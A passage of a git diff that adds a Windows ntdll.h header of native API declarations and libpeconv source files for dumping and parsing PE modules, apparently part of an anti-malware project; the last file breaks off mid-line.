+ NtConnectPort + ============= + + Creates a port connected to a named port (cliend side). + + PortHandle - A pointer to a variable that will receive the client + communication port object handle value. + + PortName - Points to a structure that specifies the name + of the port to connect to. + + SecurityQos - Points to a structure that specifies the level + of impersonation available to the port listener. + + ClientView - Optionally points to a structure describing + the shared memory region used to send large amounts of data + to the listener; if the call is successful, this will be updated. + + ServerView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory region + used by the listener to send large amounts of data to the + caller. + + MaxMessageLength - Optionally points to a variable that receives the size, + in bytes, of the largest message that can be sent through the port. + + ConnectionInformation - Optionally points to a caller-allocated + buffer or variable that specifies connect data to send to the listener, + and receives connect data sent by the listener. + + ConnectionInformationLength - Optionally points to a variable that + specifies the size, in bytes, of the connect data to send + to the listener, and receives the size of the connect data + sent by the listener. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT PPORT_VIEW ClientView OPTIONAL, + OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, + OUT PULONG MaxMessageLength OPTIONAL, + IN OUT PVOID ConnectionInformation OPTIONAL, + IN OUT PULONG ConnectionInformationLength OPTIONAL + ); + + +/*++ + + NtListenPort + ============ + + Listens on a port for a connection request message on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ConnectionRequest - Points to a caller-allocated buffer + or variable that receives the connect message sent to + the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtAcceptConnectPort + =================== + + Accepts or rejects a connection request on the server side. + + PortHandle - Points to a variable that will receive the port object + handle if the call is successful. + + PortContext - A numeric identifier to be associated with the port. + + ConnectionRequest - Points to a caller-allocated buffer or variable + that identifies the connection request and contains any connect + data that should be returned to requestor of the connection + + AcceptConnection - Specifies whether the connection should + be accepted or not + + ServerView - Optionally points to a structure describing + the shared memory region used to send large amounts of data to the + requestor; if the call is successful, this will be updated + + ClientView - Optionally points to a caller-allocated buffer + or variable that receives information on the shared memory + region used by the requestor to send large amounts of data to the + caller + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN PVOID PortContext OPTIONAL, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT PPORT_VIEW ServerView OPTIONAL, + OUT PREMOTE_PORT_VIEW ClientView OPTIONAL + ); + +/*++ + + NtCompleteConnectPort + ===================== + + Completes the port connection process on the server side. + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + +/*++ + + NtRequestPort + ============= + + Sends a request message to a port (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestPort ( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + +/*++ + + NtRequestWaitReplyPort + ====================== + + Sends a request message to a port and waits for a reply (client side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + RequestMessage - Points to a caller-allocated buffer or variable + that specifies the request message to send to the port. + + ReplyMessage - Points to a caller-allocated buffer or variable + that receives the reply message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyPort + =========== + + Sends a reply message to a port (Server side) + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + +/*++ + + NtReplyWaitReplyPort + ==================== + + Sends a reply message to a port and waits for a reply message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + ReplyMessage - Points to a caller-allocated buffer or variable + that specifies the reply message to send to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +/*++ + + NtReplyWaitReceivePort + ====================== + + Optionally sends a reply message to a port and waits for a + message + + PortHandle - A handle to a port object. The handle doesn't need + to grant any specific access. + + PortContext - Optionally points to a variable that receives + a numeric identifier associated with the port. + + ReplyMessage - Optionally points to a caller-allocated buffer + or variable that specifies the reply message to send to the port. + + ReceiveMessage - Points to a caller-allocated buffer or variable + that receives the message sent to the port. + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT PVOID *PortContext OPTIONAL, + IN PPORT_MESSAGE ReplyMessage OPTIONAL, + OUT PPORT_MESSAGE ReceiveMessage + ); + +//----------------------------------------------------------------------------- +// Heap functions + +#define HEAP_NO_SERIALIZE 0x00000001 +#define HEAP_GROWABLE 0x00000002 +#define HEAP_GENERATE_EXCEPTIONS 0x00000004 +#define HEAP_ZERO_MEMORY 0x00000008 +#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010 +#define HEAP_TAIL_CHECKING_ENABLED 0x00000020 +#define HEAP_FREE_CHECKING_ENABLED 0x00000040 +#define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080 +#define HEAP_CREATE_ALIGN_16 0x00010000 +#define HEAP_CREATE_ENABLE_TRACING 0x00020000 +#define HEAP_MAXIMUM_TAG 0x0FFF +#define HEAP_PSEUDO_TAG_FLAG 0x8000 + +// +// Data structure for heap definition. This includes various +// sizing parameters and callback routines, which, if left NULL, +// result in default behavior +// + +typedef struct RTL_HEAP_PARAMETERS { + ULONG Length; //sizeof(RTL_HEAP_PARAMETERS) + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG MaximumAllocationSize; + ULONG VirtualMemoryThreshold; + ULONG InitialCommit; + ULONG InitialReserve; + PVOID CommitRoutine; + ULONG Reserved; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + + +#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap) + + +NTSYSAPI +HANDLE +NTAPI +RtlCreateHeap ( + IN ULONG Flags, + IN PVOID BaseAddress OPTIONAL, + IN ULONG SizeToReserve, + IN ULONG SizeToCommit, + IN BOOLEAN Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Definition OPTIONAL + ); + + +NTSYSAPI +ULONG +NTAPI +RtlDestroyHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN ULONG Size + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +ULONG +NTAPI +RtlCompactHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap ( + IN HANDLE HeapHandle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address, + IN ULONG Size + ); + + +NTSYSAPI +ULONG +NTAPI +RtlSizeHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap ( + IN HANDLE HeapHandle, + IN ULONG Flags, + IN PVOID Address OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Virtual memory functions + +NTSYSAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG RegionSize, + IN ULONG FreeType + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + OUT PVOID Buffer, + IN ULONG NumberOfBytesToRead, + OUT PULONG NumberOfBytesRead OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN ULONG NumberOfBytesToWrite, + OUT PULONG NumberOfBytesWritten OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Section functions + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 + +} SECTION_INHERIT; + + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, + SectionImageInformation + +} SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS; + + +/*++ + + NtCreateSection + =============== + + Creates a section object. + + SectionHandle - Points to a variable that will receive the section + object handle if the call is successful. + + DesiredAccess - Specifies the type of access that the caller requires + to the section object. This parameter can be zero, or any combination + of the following flags: + + SECTION_QUERY - Query access + SECTION_MAP_WRITE - Can be written when mapped + SECTION_MAP_READ - Can be read when mapped + SECTION_MAP_EXECUTE - Can be executed when mapped + SECTION_EXTEND_SIZE - Extend access + SECTION_ALL_ACCESS - All of the preceding + + STANDARD_RIGHTS_REQUIRED + + ObjectAttributes - Points to a structure that specifies the object s attributes. + OBJ_OPENLINK is not a valid attribute for a section object. + + MaximumSize - Optionally points to a variable that specifies the size, + in bytes, of the section. If FileHandle is zero, the size must be + specified; otherwise, it can be defaulted from the size of the file + referred to by FileHandle. + + SectionPageProtection - The protection desired for the pages + of the section when the section is mapped. This parameter can take + one of the following values: + + PAGE_READONLY + PAGE_READWRITE + PAGE_WRITECOPY + PAGE_EXECUTE + PAGE_EXECUTE_READ + PAGE_EXECUTE_READWRITE + PAGE_EXECUTE_WRITECOPY + + AllocationAttributes - The attributes for the section. This parameter must + be a combination of the following values: + + SEC_BASED 0x00200000 // Map section at same address in each process + SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages + SEC_IMAGE 0x01000000 // Map section as an image + SEC_VLM 0x02000000 // Map section in VLM region + SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage + SEC_COMMIT 0x08000000 // Commit pages; the default behavior + SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable + + FileHandle - Identifies the file from which to create the section object. + The file must be opened with an access mode compatible with the protection + flags specified by the Protect parameter. If FileHandle is zero, + the function creates a section object of the specified size backed + by the paging file rather than by a named file in the file system. + +--*/ + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Synchronization + +// +// Wait type +// + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny + } WAIT_TYPE; + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Event support + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation // = 0 +} EVENT_INFORMATION_CLASS; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +// +// Event handling routines +// + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Security descriptor functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Revision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN BOOLEAN DaclPresent, + IN PACL Dacl OPTIONAL, + IN BOOLEAN DaclDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Owner OPTIONAL, + IN BOOLEAN OwnerDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid ( + IN PSID Sid + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid ( + IN PSID Sid1, + IN PSID Sid2 + ); + + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + IN PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ACCESS_MASK AccessMask, + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ULONG AccessMask, + IN PSID Sid + ); + +//----------------------------------------------------------------------------- +// Token functions + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN PTOKEN_PRIVILEGES NewState OPTIONAL, + IN ULONG BufferLength OPTIONAL, + IN PTOKEN_PRIVILEGES PreviousState OPTIONAL, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN IdenticalTokens + ); + + +//----------------------------------------------------------------------------- +// Symbolic links + +// +// Object Manager Symbolic Link Specific Access Rights. +// + +#ifndef SYMBOLIC_LINK_QUERY +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#endif + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE SymbolicLinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE SymbolicLinkHandle, + OUT PUNICODE_STRING NameString, + OUT PULONG ResultLength OPTIONAL + ); + +//----------------------------------------------------------------------------- +// Loader functions + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID * DllHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN PANSI_STRING ProcedureName OPTIONAL, + IN ULONG ProcedureNumber OPTIONAL, + OUT PVOID *ProcedureAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + IN PVOID Address, + OUT PLDR_DATA_TABLE_ENTRY *Module + ); + +NTSYSAPI +VOID +NTAPI + RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +//----------------------------------------------------------------------------- +// Functions dealing with NTSTATUS and Win32 error + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + NTSTATUS Status + ); + + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + NTSTATUS Status + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + ); + + +NTSYSAPI +ULONG +NTAPI +RtlGetLastWin32Error( + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + ULONG WinError + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + + +//----------------------------------------------------------------------------- +// I/O functions + + +NTSYSAPI +NTSTATUS +NTAPI +NtDisplayString( + IN PUNICODE_STRING String + ); + + +#ifdef __cplusplus +} // extern "C" +#endif + +#endif // __NTDLL_H__ diff --git a/ai_anti_malware/libpeconv/libpeconv/src/pe_dumper.cpp b/ai_anti_malware/libpeconv/libpeconv/src/pe_dumper.cpp new file mode 100644 index 0000000..29824c6 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/pe_dumper.cpp @@ -0,0 +1,73 @@ +#include "peconv/pe_dumper.h" + +#include "peconv/pe_hdrs_helper.h" +#include "peconv/pe_virtual_to_raw.h" +#include "peconv/fix_imports.h" +#include "peconv/file_util.h" +#include "peconv/pe_mode_detector.h" +#include "fix_dot_net_ep.h" + +#include + +using namespace peconv; + +t_pe_dump_mode peconv::detect_dump_mode(IN const BYTE* buffer, IN size_t mod_size) +{ + const t_pe_dump_mode default_mode = peconv::PE_DUMP_UNMAP; + if (peconv::is_pe_raw(buffer, mod_size)) { + return peconv::PE_DUMP_VIRTUAL; + } + if (peconv::is_pe_expanded(buffer, mod_size)) { + return peconv::PE_DUMP_REALIGN; + } + return default_mode; +} + +bool peconv::dump_pe(IN const char *out_path, + IN OUT BYTE *buffer, IN size_t mod_size, + IN const ULONGLONG start_addr, + IN OUT t_pe_dump_mode &dump_mode, + IN OPTIONAL const peconv::ExportsMapper* exportsMap +) +{ + // if the exportsMap is supplied, attempt to recover the (destroyed) import table: + if (exportsMap != nullptr) { + if (!peconv::fix_imports(buffer, mod_size, *exportsMap, NULL)) { + std::cerr << "[-] Unable to fix imports!" << std::endl; + } + } + if (dump_mode == PE_DUMP_AUTO || dump_mode >= PE_DUMP_MODES_COUNT) { + dump_mode = detect_dump_mode(buffer, mod_size); + } + + BYTE* dump_data = buffer; + size_t dump_size = mod_size; + size_t out_size = 0; + BYTE* unmapped_module = nullptr; + + if (dump_mode == peconv::PE_DUMP_UNMAP || dump_mode == peconv::PE_DUMP_REALIGN) { + //if the image base in headers is invalid, set the current base and prevent from relocating PE: + if (peconv::get_image_base(buffer) == 0) { + peconv::update_image_base(buffer, (ULONGLONG)start_addr); + } + if (is_dot_net(buffer, mod_size)) { + fix_dot_net_ep(buffer, mod_size); + } + if (dump_mode == peconv::PE_DUMP_UNMAP) { + unmapped_module = pe_virtual_to_raw(buffer, mod_size, (ULONGLONG)start_addr, out_size, false); + } + else if (dump_mode == peconv::PE_DUMP_REALIGN) { + unmapped_module = peconv::pe_realign_raw_to_virtual(buffer, mod_size, (ULONGLONG)start_addr, out_size); + } + // unmap the PE file (convert from the Virtual Format into Raw Format) + if (unmapped_module) { + dump_data = unmapped_module; + dump_size = out_size; + } + } + // save the read module into a file + const bool is_dumped = dump_to_file(out_path, dump_data, dump_size); + + peconv::free_pe_buffer(unmapped_module, mod_size); + return is_dumped; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/pe_hdrs_helper.cpp b/ai_anti_malware/libpeconv/libpeconv/src/pe_hdrs_helper.cpp new file mode 100644 index 0000000..ee9d4fb --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/pe_hdrs_helper.cpp @@ -0,0 +1,633 @@ +#include "peconv/pe_hdrs_helper.h" + +using namespace peconv; + +#ifdef _DEBUG +#include +#endif + +BYTE* peconv::get_nt_hdrs(IN const BYTE *pe_buffer, IN OPTIONAL size_t buffer_size) +{ + if (!pe_buffer) return nullptr; + + IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; + if (buffer_size != 0) { + if (!peconv::validate_ptr((LPVOID)pe_buffer, buffer_size, (LPVOID)idh, sizeof(IMAGE_DOS_HEADER))) { + return nullptr; + } + } + if (IsBadReadPtr(idh, sizeof(IMAGE_DOS_HEADER))) { + return nullptr; + } + if (idh->e_magic != IMAGE_DOS_SIGNATURE) { + return nullptr; + } + const LONG kMaxOffset = 1024; + LONG pe_offset = idh->e_lfanew; + + if (pe_offset > kMaxOffset) return nullptr; + + IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)(pe_buffer + 